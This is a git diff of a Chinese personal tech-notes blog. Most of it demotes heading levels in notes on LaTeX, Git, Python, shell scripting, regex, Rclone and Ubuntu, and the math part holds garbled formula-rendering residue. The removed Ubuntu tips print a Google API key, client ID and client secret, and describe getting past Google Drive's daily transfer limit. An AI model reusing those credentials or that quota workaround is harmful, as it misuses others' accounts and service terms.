- ,
+ 0
+
@@ -1554,13 +1538,30 @@ $$
- x
+
+ −
+
+
+ 1
+
+
+ ,
+
+
+
+
+
+
- <
+ x
+
+ <
+
- 0
+ 0
+
@@ -1569,401 +1570,400 @@ $$
-
sign(x)= \begin{cases} 1,&x>0 \\ 0,&x=0 \\ -1,&x<0 \end{cases}
+
-
sign(x)=⎩⎪⎨⎪⎧1,0,−1,x>0x=0x<0
`\\ 等价于 \cr,表示换行到新的 case。`
-## 一点总结
+### 一点总结
-`$$\sqrt[3]{a}$$`
-
+`$$\sqrt[3]{a}$$`
- a
+ a
+
- 3
+ 3
+
+ \sqrt[3]{a}
+
- \sqrt[3]{a}
-
-
3a
-
`$$\overline{m+n}$$`
-
+
`$$\overline{m+n}$$`
- m
+ m
+
- +
+ +
+
-
- n
+ n
+
-
- ‾
+ ‾
+
+ \overline{m+n}
+
- \overline{m+n}
-
-
- m+n
`$$\underline {m+n}$$`
-
+ m+n
`$$\underline {m+n}$$`
- m
+ m
+
- +
+ +
+
-
- n
+ n
+
-
- ‾
+ ‾
+
+ \underline {m+n}
+
- \underline {m+n}
-
-
m+n
不知道为啥这个下划线需要加空格,否则报错。。。关于md和LaTex对于空格方面都是忽略,不同的是md会保留一个空格。
-所以以后书写数学公式关键命令及语法前面还是要加空格,正如md标准语法中,每一种格式的结束都需要空一行,表示此语法格式结束,虽然有些md编辑器会容下这些细小的错误,但为保证统一,我们还是使用标准格式比较好。
`$$\underbrace{a+b+\cdots+j}_{10}$$`
-
+所以以后书写数学公式关键命令及语法前面还是要加空格,正如md标准语法中,每一种格式的结束都需要空一行,表示此语法格式结束,虽然有些md编辑器会容下这些细小的错误,但为保证统一,我们还是使用标准格式比较好。
`$$\underbrace{a+b+\cdots+j}_{10}$$`
- a
+ a
+
- +
+ +
+
+ b
+
- b
+ +
+
+ ⋯
+
- +
+ +
+
-
- ⋯
-
-
- +
-
-
- j
+ j
+
-
- ⎵
+ ⎵
+
-
- 10
+ 10
+
+ \underbrace{a+b+\cdots+j}_{10}
+
- \underbrace{a+b+\cdots+j}_{10}
-
-
10
-a+b+⋯+j
`$$\overbrace{a+b+\cdots+j}^{10}$$`
-
+a+b+⋯+j
`$$\overbrace{a+b+\cdots+j}^{10}$$`
- a
+ a
+
- +
+ +
+
+ b
+
- b
+ +
+
+ ⋯
+
- +
+ +
+
-
- ⋯
-
-
- +
-
-
- j
+ j
+
-
- ⏞
+ ⏞
+
-
- 10
+ 10
+
+ \overbrace{a+b+\cdots+j}^{10}
+
- \overbrace{a+b+\cdots+j}^{10}
-
-
a+b+⋯+j
-10
`$$\vec{AB}$$`
-
+10
`$$\vec{AB}$$`
- A
-
-
- B
-
-
-
- ⃗
-
-
-
-
- \vec{AB}
-
-
- AB
-
`$$\overrightarrow{AB}$$`
-
-
-
-
-
-
- A
-
-
- B
-
-
-
- →
-
-
-
-
- \overrightarrow{AB}
-
-
- AB
-
`$$\overleftarrow {AB}$$`
-
-
-
-
-
-
- A
-
-
- B
-
-
-
- ←
-
-
-
-
- \overleftarrow {AB}
-
-
- AB
-
`$$\frac{-b\pm\sqrt{b^2-4ac}}{2a}$$`
-
-
-
-
-
-
- −
-
-
- b
-
-
- ±
-
+ A
-
-
- b
-
-
- 2
-
-
-
- −
-
-
- 4
-
-
- a
-
-
- c
-
+
+ B
-
-
- 2
-
-
- a
+ ⃗
+ \vec{AB}
+
- \frac{-b\pm\sqrt{b^2-4ac}}{2a}
-
+ AB
+
`$$\overrightarrow{AB}$$`
+
+
+
+
+
+ A
+
+
+ B
+
+
+
+ →
+
+
+
+
+ \overrightarrow{AB}
+
+
+ AB
+
`$$\overleftarrow {AB}$$`
+
+
+
+
+
+
+ A
+
+
+ B
+
+
+
+ ←
+
+
+
+
+ \overleftarrow {AB}
+
+
+ AB
+
`$$\frac{-b\pm\sqrt{b^2-4ac}}{2a}$$`
+
+
+
+
+
+
+ −
+
+
+ b
+
+
+ ±
+
+
+
+
+
+ b
+
+
+ 2
+
+
+
+ −
+
+
+ 4
+
+
+ a
+
+
+ c
+
+
+
+
+
+
+ 2
+
+
+ a
+
+
+
+
+
+ \frac{-b\pm\sqrt{b^2-4ac}}{2a}
+
+
2a−b±b2−4ac
-
`$$\int_{0}^{\pi}{\tan x}$$`
-
+
`$$\int_{0}^{\pi}{\tan x}$$`
- ∫
+
+ ∫
+
+
+ 0
+
+
+ π
+
- 0
+ tan
+
- π
+
+
-
-
-
- tan
-
-
-
-
-
- x
+ x
+
+ \int_{0}^{\pi}{\tan x}
+
- \int_{0}^{\pi}{\tan x}
-
-
- ∫0πtanx
`$$\sum_{i=0}^{n}{i}$$`
-
+ ∫0πtanx
`$$\sum_{i=0}^{n}{i}$$`
- ∑
-
-
- i
+ ∑
- =
+ i
+
- 0
+ =
+
+
+ 0
+
-
- n
+ n
+
-
- i
+ i
+
+ \sum_{i=0}^{n}{i}
+
- \sum_{i=0}^{n}{i}
-
-
- i=0∑ni
`$$\prod_{i=1}^{9}{i}$$`
-
+ i=0∑ni
`$$\prod_{i=1}^{9}{i}$$`
- ∏
-
-
- i
+ ∏
- =
+ i
+
- 1
+ =
+
+
+ 1
+
-
- 9
+ 9
+
-
- i
+ i
+
+ \prod_{i=1}^{9}{i}
+
- \prod_{i=1}^{9}{i}
-
-
i=1∏9i
-## 附录1:数学符号表
+### 附录1:数学符号表
>
要经常查看
-## 附录2:参考书籍
+### 附录2:参考书籍
diff --git a/blog/ds19991999/原创-- 04-Git命令总结.md b/blog/ds19991999/原创-- 04-Git命令总结.md
index e035f75..0a38c62 100644
--- a/blog/ds19991999/原创-- 04-Git命令总结.md
+++ b/blog/ds19991999/原创-- 04-Git命令总结.md
@@ -3,8 +3,8 @@
# 04-Git命令总结
-# Git命令总结
+## Git命令总结
-## git cheat sheet
+### git cheat sheet
-## 官网
+### 官网
diff --git a/blog/ds19991999/原创-- 05-使用GitBook打造自己的出版平台.md b/blog/ds19991999/原创-- 05-使用GitBook打造自己的出版平台.md
index 5dac331..2d953bd 100644
--- a/blog/ds19991999/原创-- 05-使用GitBook打造自己的出版平台.md
+++ b/blog/ds19991999/原创-- 05-使用GitBook打造自己的出版平台.md
@@ -3,13 +3,13 @@
# 05-使用GitBook打造自己的出版平台
-# 使用GitBook打造自己的出版平台
+## 使用GitBook打造自己的出版平台
-## 准备工作
+### 准备工作
-## 使用Summary构建书籍目录
+### 使用Summary构建书籍目录
-### 直接用Summary构建
+#### 直接用Summary构建
```
{
@@ -21,7 +21,7 @@
}
```
-### 使用Python脚本构建
+#### 使用Python脚本构建
```
import os
@@ -93,11 +93,11 @@ for folder in folders:
index_file.close()
```
-## 生成电子书
+### 生成电子书
-## 输出pdf
+### 输出pdf
-## 最终验证成功的命令
+### 最终验证成功的命令
```
# 先卸载全局node.js
diff --git a/blog/ds19991999/原创-- Byte of Python3 总结.md b/blog/ds19991999/原创-- Byte of Python3 总结.md
index 626c7ad..12a745c 100644
--- a/blog/ds19991999/原创-- Byte of Python3 总结.md
+++ b/blog/ds19991999/原创-- Byte of Python3 总结.md
@@ -7,9 +7,9 @@
总结入门书《Byte of Python》,找找新东西。
-### 目录
+#### 目录
-## 格式化字符串
+### 格式化字符串
字符串不可变,正则表达式中的字符串应该使用原始字符串`r"strings"`
@@ -40,7 +40,7 @@ print('c', end='\n')
```
-## 运算符与表达式
+### 运算符与表达式
运算符与C/C++差异比较大
@@ -59,7 +59,7 @@ not and or
`continue`跳出当前循环块剩余语句,继续下一次迭代
-## 参数
+### 参数
[https://www.douban.com/note/13413855/](https://www.douban.com/note/13413855/)
@@ -94,7 +94,7 @@ def function(arg1,arg2=<value>,*arg3,**arg4)
首先按顺序把“arg”这种形式的实参给对应的形参
第二,把“arg=”这种形式的实参赋值给形参
第三,把多出来的“arg”这种形式的实参组成一个tuple给带一个星号的形参
第四,把多出来的“key=value”这种形式的实参转为一个dictionary给带两个星号的形参
-## 模块
+### 模块
```
if __name__=="__main__":
@@ -104,7 +104,7 @@ else:
```
-## 包
+### 包
包的结构:
@@ -126,7 +126,7 @@ else:
如上,包的名称为world,asia和afica是它的子包,子包包含india、madagascar等模块
-## 数据结构
+### 数据结构
列表的引用:`a=[1,2,3,4]; b=a`,a和b指向同一个对象,改变a或b,都会改变,b=a[:],则相当于copy一个对象,a与b不会互相改变
@@ -151,15 +151,15 @@ seq.replace(" ","_"),序列(字符串)将空格取代为_
```
-## 软件开发流程
+### 软件开发流程
what——>how——>do it——>test——>use——>maintain
-## 面向对象编程
+### 面向对象编程
`__init__`方法、类变量和对象变量、装饰器classmethod、继承
-## 输入与输出
+### 输入与输出
**Pickle:**将纯Python对象存储在一个文件中,并在稍后取回,这叫持久性(Persistently)存储对象.
@@ -169,7 +169,7 @@ pickle.load(file)#加载文件
```
-## 异常
+### 异常
```
# coding=UTF-8
@@ -205,7 +205,7 @@ with open("poem.txt") as f:
```
-## 特殊方法
+### 特殊方法
```
listone = [2, 3, 4]
diff --git a/blog/ds19991999/原创-- C++异常处理.md b/blog/ds19991999/原创-- C++异常处理.md
index 1fe7647..ffd2ed6 100644
--- a/blog/ds19991999/原创-- C++异常处理.md
+++ b/blog/ds19991999/原创-- C++异常处理.md
@@ -3,9 +3,9 @@
# C++异常处理
-# 一、C++语言异常处理的实现
+## 一、C++语言异常处理的实现
-## 1.三个保留字
+### 1.三个保留字
```
//try:可能发生异常的程序代码
@@ -43,7 +43,7 @@ void main()
}
```
-## 2.实例
+### 2.实例
```
//test1
@@ -172,9 +172,9 @@ void main()
}
```
-# 二、重新抛出异常和异常规范
+## 二、重新抛出异常和异常规范
-## 1.重新抛出异常
+### 1.重新抛出异常
```
//当catch语句捕获异常后,不能完全处理异常
@@ -211,7 +211,7 @@ int main()
}
```
-## 2.异常规范
+### 2.异常规范
```
//如果程序运行时,函数抛出了一个没有被列在它的异常规范中的异常时
@@ -225,7 +225,7 @@ void f() throw(X,Y)
//如果写成throw(),则表示不会抛出异常
```
-# 三、C++标准库中的异常类
+## 三、C++标准库中的异常类
```
//C++异常层次根类为exception类,exception类中的虚函数what()
diff --git a/blog/ds19991999/原创-- GitHub短网址服务.md b/blog/ds19991999/原创-- GitHub短网址服务.md
index 1790f05..0e31c28 100644
--- a/blog/ds19991999/原创-- GitHub短网址服务.md
+++ b/blog/ds19991999/原创-- GitHub短网址服务.md
@@ -3,9 +3,9 @@
# GitHub短网址服务
-## 示例
+### 示例
-## 自定义git.io后缀
+### 自定义git.io后缀
脚本:[https://raw.githubusercontent.com/ds19991999/shell.sh/shell/shortgit.sh](https://raw.githubusercontent.com/ds19991999/shell.sh/shell/shortgit.sh)
diff --git a/blog/ds19991999/原创-- Git提交本地项目或文件.md b/blog/ds19991999/原创-- Git提交本地项目或文件.md
index 3acdd8f..b627ff0 100644
--- a/blog/ds19991999/原创-- Git提交本地项目或文件.md
+++ b/blog/ds19991999/原创-- Git提交本地项目或文件.md
@@ -7,7 +7,7 @@
update: 2018-06-05
-## 一、基本命令
+### 一、基本命令
```
//建立本地仓库
@@ -34,6 +34,6 @@ $ git pull origin master --allow-unrelated-histories
$ git push -u origin master -f
```
-## 二、常见问题汇总
+### 二、常见问题汇总
-### 1.出现邮箱限制
+#### 1.出现邮箱限制
diff --git a/blog/ds19991999/原创-- HTML语言笔记(一).md b/blog/ds19991999/原创-- HTML语言笔记(一).md
index ca9628e..60130c2 100644
--- a/blog/ds19991999/原创-- HTML语言笔记(一).md
+++ b/blog/ds19991999/原创-- HTML语言笔记(一).md
@@ -5,7 +5,7 @@
参考教程: [HTML教程](http://www.w3school.com.cn/html/index.asp)
-## 1.简介
+### 1.简介
HTML是**超文本标记语言**(Hyper Text Markup Language),使用标记标签来描述网页。HTML 标签是由尖括号包围的关键词,比如 ,通常是成对出现的。Web的作用就是读取HTML文档,并以网页的形式来显示他们。
bt = 'bat|bet|bit'
@@ -151,7 +151,7 @@ bit
到这里match()和search()的区别基本上就清晰了
-### 匹配任何单个字符
+#### 匹配任何单个字符
点号(.)不能匹配一个换行符\n 或者非字符,也就是说,一个空字符串
@@ -229,7 +229,7 @@ str
```
-### 创建字符集([ ])
+#### 创建字符集([ ])
```
m = re.match('[cr][23][dp][o2]', 'c3po') # 匹配 'c3po'
@@ -255,7 +255,7 @@ str
```
-### 重复、特殊字符以及分组
+#### 重复、特殊字符以及分组
简单电子邮件地址的正则表达式`(\w+@\w+\.com)`, `www.xxx.com`,仅仅允许 [xxx.com](http://xxx.com) 作为整个域名,必须修改现有的正则表达式.为了表示主机名是可选的,即`\w+@(\w+\.)?\w+\.com`
@@ -421,7 +421,7 @@ m.group()
```
-### 匹配字符串的起始和结尾以及单词边界
+#### 匹配字符串的起始和结尾以及单词边界
更多用于表示搜索而不是匹配
@@ -470,7 +470,7 @@ the
```
-### 使用 findall()和 finditer()查找每一次出现的位置
+#### 使用 findall()和 finditer()查找每一次出现的位置
```
findall(pattern , string [, flags] )
@@ -622,7 +622,7 @@ g.groups()
```
-### 使用 sub()和 subn()搜索与替换
+#### 使用 sub()和 subn()搜索与替换
两者几乎一样,都是将某字符串中所有匹配正则表达式的部分进行某种形式的替换,但它也可能是一个函数,该函数返回一个用来替换的字符串。
@@ -704,7 +704,7 @@ group()方法除了能够取出匹配分组编号外,还可以使用\N,
```
-### 在限定模式上使用 split()分隔字符串
+#### 在限定模式上使用 split()分隔字符串
```
DATA = (
@@ -730,7 +730,7 @@ for datum in DATA:
```
-### 扩展符号
+#### 扩展符号
** i不区分大小写 **
@@ -816,9 +816,9 @@ x该标记允许用户通过抑制在正则表达式中使用空白符(除了
**对于正则表达式,尽量使用原始字符串**
-## 正则表达式示例
+### 正则表达式示例
-### 复习jupyter魔法
+#### 复习jupyter魔法
1. 这个是Jupyter的魔法使用,将字符串写入文件,回顾一下算了,具体见笔记:
[Ipython解释器](/notebooks/python-tools/02-ipython-interpreter.ipynb)
```
%%writefile whodata.txt
@@ -947,7 +947,7 @@ os.remove('test.py')
```
-### 正则表达式示例
+#### 正则表达式示例
```
%%writefile whodata.py
@@ -983,7 +983,7 @@ Overwriting whodata.py
```
-#### 分割 POSIX 的 who 命令输出([whodate.py](http://whodate.py))
+##### 分割 POSIX 的 who 命令输出([whodate.py](http://whodate.py))
```
%%writefile whodata.py
@@ -1642,7 +1642,7 @@ Overwriting retasklist.py
```
-#### 实战示例
+##### 实战示例
```
%%writefile gendata.py
@@ -1766,7 +1766,7 @@ Thu
```
-### 搜索、匹配和贪婪
+#### 搜索、匹配和贪婪
```
patt = '\d+-\d+-\d+'
diff --git a/blog/ds19991999/原创-- Rclone笔记.md b/blog/ds19991999/原创-- Rclone笔记.md
index af2b086..31965de 100644
--- a/blog/ds19991999/原创-- Rclone笔记.md
+++ b/blog/ds19991999/原创-- Rclone笔记.md
@@ -7,11 +7,11 @@
-### 目录
+#### 目录
-## 一些简单命令
+### 一些简单命令
-### 挂载
+#### 挂载
```
# windows 挂载命令
@@ -26,7 +26,7 @@ umount /path/to/local/mount
```
-### rclone命令
+#### rclone命令
```
rclone ls
@@ -136,7 +136,7 @@ rclone mount # 挂载命令
```
-## 用自己的 api 进行 gd 转存
+### 用自己的 api 进行 gd 转存
>
见这位大佬博客:[https://www.moerats.com/archives/877/](https://www.moerats.com/archives/877/)
@@ -164,7 +164,7 @@ rclone mount # 挂载命令
```
-## 突破 Google Drive 服务端 750g 限制
+### 突破 Google Drive 服务端 750g 限制
谷歌官方明确限制通过第三方`api`每天限制转存`750G`文件,这个 `750G` 是直接通过谷歌服务端进行,文件没有经过客户端,另外经过客户端上传到 `gd` 与 服务端转存不冲突,官方也有 `750G` 限制,所以每天上传限额一共是 `1.5T`
@@ -179,6 +179,6 @@ rclone --disable copy GD1:/PATH GD2:/PATH
这样就是每天 `1.5T` 了。
-## 谷歌文档限制
+### 谷歌文档限制
在 `rclone ls` 中谷歌文档会出现 `-1`, 而对于其他 `VFS` 层文件显示 `0` ,比喻通过 `rclone mount`,`rclone serve`操作的文件。而我们用 `rclone sync`,`rclone copy`的命令时,它会忽略文档大小而直接操作。也就是说如果你没有下载谷歌文档,就不知道它多大,没啥影响…
diff --git a/blog/ds19991999/原创-- Shell流程控制-case 分支.md b/blog/ds19991999/原创-- Shell流程控制-case 分支.md
index 519c8c2..600f600 100644
--- a/blog/ds19991999/原创-- Shell流程控制-case 分支.md
+++ b/blog/ds19991999/原创-- Shell流程控制-case 分支.md
@@ -3,9 +3,9 @@
# Shell流程控制:case 分支
-## 流程控制:case 分支
+### 流程控制:case 分支
-### case
+#### case
```
case word in
@@ -50,7 +50,7 @@ esac
```
-### 模式
+#### 模式
case 语句使用的模式和路径展开中使用的那些是一样的。模式以一个 “)” 为终止符。这里是一些有效的模式。
@@ -134,9 +134,9 @@ esac
```
-## 位置参数
+### 位置参数
-### 访问命令行
+#### 访问命令行
shell 提供了一个称为位置参数的变量集合,这个集合包含了命令行中所有独立的单词。这些变量按照从0到9给予命名。
@@ -173,7 +173,7 @@ $9 =
```
-### shift - 访问多个参数的利器
+#### shift - 访问多个参数的利器
执行一次 shift 命令, 就会导致所有的位置参数 “向下移动一个位置”。
@@ -199,7 +199,7 @@ Argument 4 = d
```
-### 处理集体位置参数
+#### 处理集体位置参数
shell 提供了两种特殊的参数,他们二者都能扩展成完整的位置参数列表,但以相当微妙的方式略有不同。
@@ -252,7 +252,7 @@ $4 =
```
-### 一个更复杂的应用
+#### 一个更复杂的应用
```
#!/bin/bash
diff --git a/blog/ds19991999/原创-- Shell流程控制-if 分支结构.md b/blog/ds19991999/原创-- Shell流程控制-if 分支结构.md
index ffaf96d..167f62e 100644
--- a/blog/ds19991999/原创-- Shell流程控制-if 分支结构.md
+++ b/blog/ds19991999/原创-- Shell流程控制-if 分支结构.md
@@ -3,9 +3,9 @@
# Shell流程控制:if 分支结构
-## 流程控制:if 分支结构
+### 流程控制:if 分支结构
-### if
+#### if
```
x=5
@@ -96,7 +96,7 @@ test_file () {
当与 test 一块使用的时候, > 和 < 表达式操作符必须用引号引起来(或者是用反斜杠转义)
-### 整型表达式
+#### 整型表达式
测试整数表达式:
@@ -109,7 +109,7 @@ test_file () {
|integer1 -ge integer2|integer1 大于或等于 integer2。
|integer1 -gt integer2|integer1 大于 integer2。
-### 更现代的测试版本
+#### 更现代的测试版本
```
# 加强的 test 命令替代物
@@ -122,7 +122,7 @@ if [[ $FILE == foo.* ]]; then
`string1 =~ regex`:匹配正则表达式则返回真
-### (( )) - 为整数设计
+#### (( )) - 为整数设计
`(( ))` 复合命令,支持一套 完整的算术计算,`(( ))`被用来执行算术真测试。如果算术计算的结果是非零值,则其测试值为真。
@@ -135,7 +135,7 @@ else
```
-### 结合表达式
+#### 结合表达式
逻辑操作符:
@@ -145,7 +145,7 @@ else
|OR|-o|||
|NOT|!|!
-### 控制操作符:分支的另一种方法
+#### 控制操作符:分支的另一种方法
```
command1 && command2
@@ -155,9 +155,9 @@ command1 || command2
对于 && 操作符,先执行 command1,只有command1 执行成功后, 才会执行 command2。对于 || 操作符,先执行 command1,只有command1 执行失败后, 才会执行 command2。
-## 读取键盘输入
+### 读取键盘输入
-### read - 从标准输入读取数值
+#### read - 从标准输入读取数值
```
read [-options] [variable...]
@@ -231,7 +231,7 @@ read var1 var2 var3 var4 var5
-t和-sp 选项,读取“秘密”输入,在特定的时间内 输入没有完成,就终止输入。
-### IFS
+#### IFS
**IFS** 的默认值包含一个空格,一个 tab,和一个换行符,每一个都会把 字段分割开。
@@ -242,7 +242,7 @@ IFS=":" read user pw uid gid name home shell <<< "$file_info"
这一行由三部分组成:对一个变量的赋值操作,一个带有一串参数的 read 命令,和一个奇怪的新的重定向操作符。这个 `<<<` 操作符指示一个 here 字符串。**不能把 管道用在 read 上**----管道线 会创建子 shell。
-### 菜单
+#### 菜单
```
#!/bin/bash
diff --git a/blog/ds19991999/原创-- Shell流程控制-while-until 循环.md b/blog/ds19991999/原创-- Shell流程控制-while-until 循环.md
index b132c62..414a0bf 100644
--- a/blog/ds19991999/原创-- Shell流程控制-while-until 循环.md
+++ b/blog/ds19991999/原创-- Shell流程控制-while-until 循环.md
@@ -3,9 +3,9 @@
# Shell流程控制:while/until 循环
-## 流程控制:while/until 循环
+### 流程控制:while/until 循环
-### while
+#### while
```
#!/bin/bash
@@ -72,7 +72,7 @@ echo "Program terminated."
shell中的循环支持`break和continue`
-### until
+#### until
```
#!/bin/bash
@@ -86,7 +86,7 @@ echo "Finished."
```
-## 疑难排解
+### 疑难排解
```
#!/bin/bash
@@ -112,7 +112,7 @@ fi
```
-### 测试
+#### 测试
早发布,常发布:如果在开发周期的早期发现 bug,那么这些 bug 就越容易定位,而且越能低成本 的修复。比喻上述删除文件的操作非常危险,所以我们可以先这样进行测试,打印出要执行的语句就行:
@@ -132,19 +132,19 @@ exit # TESTING
```
-### 测试案例
+#### 测试案例
通过谨慎地选择输入数据或者运行边缘案例和极端案例来完成测试。比喻上述脚本,我们要测试:
1. dir_name 包含一个已经存在的目录的名字1. dir_name 包含一个不存在的目录的名字1. dir_name 为空
-### 调试
+#### 调试
一个设计良好的脚本会对查找错误有帮助。设计良好的脚本应该具备防卫能力, 能够监测异常条件,并能为用户提供有用的反馈信息。
-### 找到问题区域
+#### 找到问题区域
隔离脚本中与出现的问题相关的代码区域对查找问题很有帮助。 隔离的代码区域并不总是真正的错误所在,但是隔离往往可以深入了解实际的错误原因。
-### 追踪
+#### 追踪
添加提示信息追踪代码片段。把提示信息输出到标准错误输出,让其从标准输出中分离出来。bash 还提供了一种名为追踪的方法,这种方法可通过 -x 选项和 set 命令加上 -x 选项两种途径实现。
diff --git a/blog/ds19991999/原创-- Ubuntu使用日常.md b/blog/ds19991999/原创-- Ubuntu使用日常.md
index d30702f..8c71196 100644
--- a/blog/ds19991999/原创-- Ubuntu使用日常.md
+++ b/blog/ds19991999/原创-- Ubuntu使用日常.md
@@ -3,15 +3,15 @@
# Ubuntu使用日常
-# Ubuntu使用日常
+## Ubuntu使用日常
>
记录使用`Ubuntu`过程中遇到的问题,总结一些常用工具,归纳一些小技巧。本文永久更新地址:[Ubuntu.md](https://github.com/ds-ebooks/test/blob/master/Ubuntu.md)
-### 文章目录
+#### 文章目录
-## 1、redshift色温调节工具
+### 1、redshift色温调节工具
安装
@@ -55,608 +55,5 @@ gamma=0.8
;gamma-day=0.8:0.7:0.8
;gamma-night=0.6
-; Set the location-provider: 'geoclue', 'geoclue2', 'manual'
-; type 'redshift -l list' to see possible values.
-; The location provider settings are in a different section.
-location-provider=manual
-
-; Set the adjustment-method: 'randr', 'vidmode'
-; type 'redshift -m list' to see all possible values.
-; 'randr' is the preferred method, 'vidmode' is an older API.
-; but works in some cases when 'randr' does not.
-; The adjustment method settings are in a different section.
-adjustment-method=randr
-
-; Configuration of the location-provider:
-; type 'redshift -l PROVIDER:help' to see the settings.
-; ex: 'redshift -l manual:help'
-; Keep in mind that longitudes west of Greenwich (e.g. the Americas)
-; are negative numbers.
-[manual]
-lat=36.10
-lon=103.80
-
-; Configuration of the adjustment-method
-; type 'redshift -m METHOD:help' to see the settings.
-; ex: 'redshift -m randr:help'
-; In this example, randr is configured to adjust screen 1.
-; Note that the numbering starts from 0, so this is actually the
-; second screen. If this option is not specified, Redshift will try
-; to adjust _all_ screens.
-; [randr]
-; screen=1
-
+; Set the location-provider: 'geoclue', 'geoclue2',
```
-
-## 2、无道词典
-
-环境
-
-```
-sudo apt-get install python3
-sudo apt-get install python3-pip
-sudo pip3 install bs4
-sudo pip3 install lxml
-
-```
-
-安装
-
-```
-git clone https://github.com/chestnutheng/wudao-dict
-cd ./wudao-dict/wudao-dict
-sudo bash setup.sh #或者sudo ./setup.sh
-
-```
-
-## 3、pip指向问题
-
-第一次安装pip
-
-```
-sudo apt-get install python-pip python-dev build-essential
-sudo pip install --upgrade pip
-sudo pip install --upgrade virtualenv
-sudo apt-get install python-setuptools python-dev build-essential
-
-```
-
-安装分别pip
-
-```
-sudo apt-get install python3-pip
-sudo apt-get install python-pip
-
-```
-
-指向问题
编辑这三个文件,将第一行注释分别改为`python\python2\python3`
-
-```
-~ $which pip
-/usr/local/bin/pip
-21:36 alien@alien-Inspiron-3443:
-~ $which pip2
-/usr/local/bin/pip2
-21:36 alien@alien-Inspiron-3443:
-~ $which pip3
-/usr/local/bin/pip3
-
-```
-
-改好之后便升级pip
-
-```
-sudo pip3 install --upgrade pip
-sudo pip2 install --upgrade pip
-sudo pip install --upgrade pip
-
-```
-
-## 4、更换pip源
-
-pip国内的一些镜像,换源之后出现python2版本过低的情况导致以前的包下载不了,那就直接将文件夹删除就行。
-
-linux:
-
-```
-cat > ~/.pip/pip.conf
-[global]
-index-url = https://pypi.tuna.tsinghua.edu.cn/simple
-
-```
-
-windows:
-
->
-直接在user目录中创建一个pip目录,如:C:\Users\xx\pip,新建文件pip.ini,内容如下
-
-
-```
-[global]
-index-url = https://pypi.tuna.tsinghua.edu.cn/simple
-
-```
-
-另外npm,yarn也可以通过换源提高速度,网上很多教程,稍微提一下。
-
-## 5、GitHub源
-
-```
-sudo gedit /etc/hosts
-219.76.4.4 github-cloud.s3.amazonaws.com
-151.101.72.249 http://global-ssl.fastly.Net
-192.30.253.112 http://github.com
-
-```
-
-## 6、查看Linux本地IP地址
-
-```
-ifconfig -a
-inet addr:172.18.166.207 Bcast:172.18.166.255 Mask:255.255.255.0
-
-```
-
-## 7、ubuntu本地开启微型服务器
-
-```
-python -m SimpleHTTPServer 8888 #Python2
-python -m http.server #python3
-
-```
-
-之后可以通过ip:端口远程访问本地主机文件。
传输文件
-
-## 8、ECS与本地主机互传文件
-
-通过`ssh`协议实现:
-
-```
-scp ~/cert/* root@47.107.129.219:/usr/local/nginx/cert
-scp root@47.107.129.219:/usr/local/nginx/cert ~/cert/*
-
-```
-
-## 9、小书匠和Evernote
-
-小书匠基础模板:
-
-```
----
-title: 2018-10-27未命名文件
-tags: tag1,tag2
-grammar_cjkRuby: true
----
-[Edit](http://markdown.xiaoshujiang.com/)
-
-```
-
-```
-脚注[^1x]
-[^1x]: 脚注用法测试
-
-```
-
-## 10、Windows 中 Chromium 缺少 Google API 密钥
-
-在`CMD`中执行:
-
-```
-setx GOOGLE_API_KEY AIzaSyCkfPOPZXDKNn8hhgu3JrA62wIgC93d44k
-setx GOOGLE_DEFAULT_CLIENT_ID 811574891467.apps.googleusercontent.com
-setx GOOGLE_DEFAULT_CLIENT_SECRET kdloedMFGdGla2P1zacGjAQh
-
-```
-
-## 11、博客音乐外链
-
-[音乐外链播放器推荐](https://perpeht.com/2017/12/%E4%BC%98%E7%A7%80%E9%9F%B3%E4%B9%90%E5%A4%96%E9%93%BE%E6%92%AD%E6%94%BE%E5%99%A8%E6%8E%A8%E8%8D%90/)
-
-## 12、Debian/Ubuntu中管理多版本Node.js
-
-安装nvm:
-
-```
-git clone https://github.com/creationix/nvm.git ~/.nvm
-cd ~/.nvm
-git checkout `git describe --abbrev=0 --tags`
-
-```
-
-激活nvm:
-
-```
-. ~/.nvm/nvm.sh
-
-```
-
-登录后自动激活nvm,在`~/.bashrc`加
-
-```
-export NVM_DIR=~/.nvm
-[ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh"
-[ -r $NVM_DIR/bash_completion ] && . $NVM_DIR/bash_completion
-
-```
-
-卸载node和nvm
-
-```
-rm -rf ~/.nvm
-
-```
-
-## 13、虚拟终端(Ctrl+Alt+F1)下显示菱形中文乱码
-
-系统全用英文吧:
-
-```
-sudo gedit /etc/default/locale
-
-```
-
-将内容改为:
-
-```
-LANG="en_US.UTF-8"
-LANGUAGE="en_US:en"
-
-```
-
-再运行:
-
-```
-sudo locale-gen
-
-```
-
-然后重启`reboot`,会提示是否将文件夹改成英文的,此时选择“Update…”即可。
-
-## 14、彻底卸载mysql重新安装
-
-1.命令apt-get删除mysql
-
-```
-sudo apt-get remove --purge mysql-\*
-
-```
-
-2.手动删除mysql剩余文件
执行命令
-
-```
-sudo find / -name mysql -print
-
-```
-
-会显示出所有的含有mysql文件名的路径,如下:
-
-```
-/var/lib/mysql
-/var/lib/mysql/mysql
-/var/log/mysql
-/usr/bin/mysql
-/usr/lib/mysql
-/usr/share/mysql
-/etc/mysql
-/etc/init.d/mysql
-
-```
-
-都删除掉
-
-3.重新安装
-
-```
-sudo apt-get install mysql-server mysql-client
-
-```
-
-如果报错执行下面命令再安装
-
-```
-sudo apt-get remove --purge mysql-\*
-sudo apt-get install mysql-server mysql-client
-
-```
-
-## 15、MySQL5.7设置utf8编码格式
-
-[查看博文](https://blog.csdn.net/qq_32144341/article/details/51318390)
-
-## 16、WIndows的Linux子系统
-
-[查看博文](http://csuncle.com/2017/08/08/Windows-linux%E5%AD%90%E7%B3%BB%E7%BB%9F-%E5%85%A5%E9%97%A8%E5%88%B0GUI/)
-
-## 17、文件管理器左侧快捷方式管理
-
-```
-sudo gedit ~/.config/user-dirs.dirs
-# 默认的内容是文档,图片,下载等目录
-# This file is written by xdg-user-dirs-update
-# If you want to change or add directories, just edit the line you're
-# interested in. All local changes will be retained on the next run
-# Format is XDG_xxx_DIR="$HOME/yyy", where yyy is a shell-escaped
-# homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an
-# absolute path. No other format is supported.
-#
-XDG_DESKTOP_DIR="$HOME/Desktop"
-XDG_DOWNLOAD_DIR="$HOME/Downloads"
-XDG_TEMPLATES_DIR="$HOME/Templates"
-XDG_PUBLICSHARE_DIR="$HOME/Public"
-XDG_DOCUMENTS_DIR="$HOME/Documents"
-XDG_MUSIC_DIR="$HOME/Music"
-XDG_PICTURES_DIR="$HOME/Pictures"
-XDG_VIDEOS_DIR="$HOME/Videos"
-# 再创建一个文件,直接执行:
